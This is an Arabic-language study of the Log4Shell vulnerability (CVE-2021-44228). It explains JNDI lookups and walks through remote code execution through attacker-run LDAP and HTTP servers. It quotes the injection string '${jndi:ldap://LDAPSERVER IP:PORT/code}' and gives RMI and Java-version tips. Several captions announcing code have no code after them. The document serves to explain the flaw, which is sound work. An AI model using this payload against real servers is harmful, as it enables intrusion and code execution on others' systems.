
دراسة ثغرة CVE-2021-44228
فيما يلي عملية مفصلة لحالة حقن عن بُعد عبر استغلال ثغرة log4shell. أولاً، هناك 3 أجزاء يجب معرفتها:
يسمح Log4j2 بتسجيل البيانات باستخدام ميزة تسمى استبدال بحث الرسالة (message lookup substitution)، حيث يمكن أن تتضمن رسائل السجل بيانات تُسحب ديناميكيًا من مصادر مختلفة. (وهو يدعم JNDI Lookup)
JNDI Lookup: يسمح بجلب البيانات عبر واجهة Java للتسمية والدليل (JNDI) API، والتي يمكنها التفاعل مع خدمات دليل مختلفة

LDAP (بروتوكول الوصول الخفيف إلى الدليل): يُستخدم بشكل أساسي للوصول إلى خدمات معلومات الدليل وإدارتها عبر الشبكة.
فيما يلي مثال بسيط لتنفيذ التعليمات البرمجية عن بُعد:

يقوم المخترق بإعداد كل من خادم LDAP (يتم الوصول إليه عبر بروتوكول LDAP، ويحتوي على مرجع لتعليمات برمجية خبيثة بلغة Java) وخادم HTTP (المكان الذي تخزن فيه التعليمات البرمجية الخبيثة)
إعداد خادم HTTP في الدليل الذي يحتوي على التعليمات البرمجية الخبيثة المترجمة:

إعداد خادم LDAP الذي يخزن المرجع:

يرسل المخترق إدخالاً خبيثًا (${jndi:ldap://LDAPSERVER IP:PORT/code}) إلى نظام برمجي مثبت عليه log4j2

يستخدم Log4j2 ميزة البحث لإرسال طلب إلى خادم LDAP
يعيد خادم LDAP توجيه الطلبات إلى خوادم HTTP عبر مراجع التعليمات البرمجية بلغة Java المخزنة في خوادم LDAP
يرسل خادم HTTP التعليمات البرمجية الخبيثة إلى النظام البرمجي، ثم يقوم النظام البرمجي بتنفيذ التعليمات البرمجية الخبيثة.
التعليمات البرمجية الخبيثة:

تم تنفيذ التعليمات البرمجية الخبيثة بنجاح:

هام:
لا يقتصر الأمر على استخدام خادم LDAP فقط لتنفيذ التعليمات البرمجية عن بُعد، بل يمكننا أيضًا استخدام طرق أخرى (مثل RMI) طالما أن log4j2 نجح في استبدال بحث الرسالة وتنفيذ التعليمات البرمجية الخبيثة
قد تؤدي الإصدارات المختلفة من Java إلى اختلاف عملية الاستغلال (نحن هنا نستخدم java 1.8u112).
يُوصى باستخدام نفس إصدار Java في التعليمات البرمجية الخبيثة كما هو مستخدم في البرنامج (الخوادم التي تستخدم log4j2) أو على الأكثر لا يكون أعلى من إصدار Java الخاص بالبرنامج.

كود البحث في Log4j2:
